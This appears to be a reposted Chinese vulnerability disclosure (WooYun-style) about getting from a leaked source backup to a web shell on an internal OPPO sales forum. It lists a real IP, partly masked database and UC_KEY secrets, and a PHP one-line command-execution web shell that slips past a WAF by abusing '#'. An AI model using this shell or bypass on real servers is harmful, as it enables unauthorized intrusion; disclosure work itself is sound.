神刀安全网

漏洞标题: oppo某内部论坛从代码泄露到shell

漏洞详情

披露状态:

2016-04-06: 细节已通知厂商并且等待厂商处理中
2016-04-07: 厂商已经确认,细节仅向厂商公开
2016-04-17: 细节向核心白帽子及相关领域专家公开
2016-04-27: 细节向普通白帽子公开
2016-05-07: 细节向实习白帽子公开
2016-05-22: 细节向公众公开

简要描述:

oppo某内部论坛从代码泄露到shell
话说那个拦上传的waf十分变态,差点就没计可思了。。

详细说明:

目标:oppo全国销售精英大联盟

http://221.4.136.214/

存在源代码泄露

http://221.4.136.214/backup.zip

code 区域
<?php 
define('UC_DBHOST', 'localhost');
define('UC_DBUSER', 'oppofo*****');
define('UC_DBPW', 'eka60*****');
define('UC_DBNAME', 'oppof*****');
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE', 'pre_ucenter_');
define('UC_COOKIEPATH', '/');
define('UC_COOKIEDOMAIN', '');
define('UC_DBCONNECT', 0);
define('UC_CHARSET', 'utf-8');
define('UC_FOUNDERPW', '2140dabb047e63*****');
define('UC_FOUNDERSALT', 'Cdj9ic');
define('UC_KEY', 'Bdu9BcXbu29er4c737v8b05a*****8');
define('UC_SITEID', 'Nda9Xcobo2vet4Z7x7Q8q0Hac1Q43bf4*****');
define('UC_MYKEY', 'TdO9Rcnb82SeN4r7i738X0vaI1n4rbC4t*****');
define('UC_DEBUG', false);
define('UC_PPP', 20);

泄露数据库和UC_KEY等信息。

通过UC_KEY进入后台。

漏洞标题:  oppo某内部论坛从代码泄露到shell

在后台拿shell过程中,发现上传php代码都给拦截了。。

这waf很变态,好像还能检查语法。

各种变态的php一句话马都测试无效。

各种换行呀,

变态函数都不行

后来发现

code 区域
<?php $a=$_POST[exp];echo `$a#`;

居然可以,waf误认为 #为注释,就这样过了waf。

漏洞证明:

shell在内网。

漏洞标题:  oppo某内部论坛从代码泄露到shell

漏洞标题:  oppo某内部论坛从代码泄露到shell

修复方案:

没有深入,漏洞自行修补!

版权声明:转载请注明来源 kobin97@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: oppo某内部论坛从代码泄露到shell

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址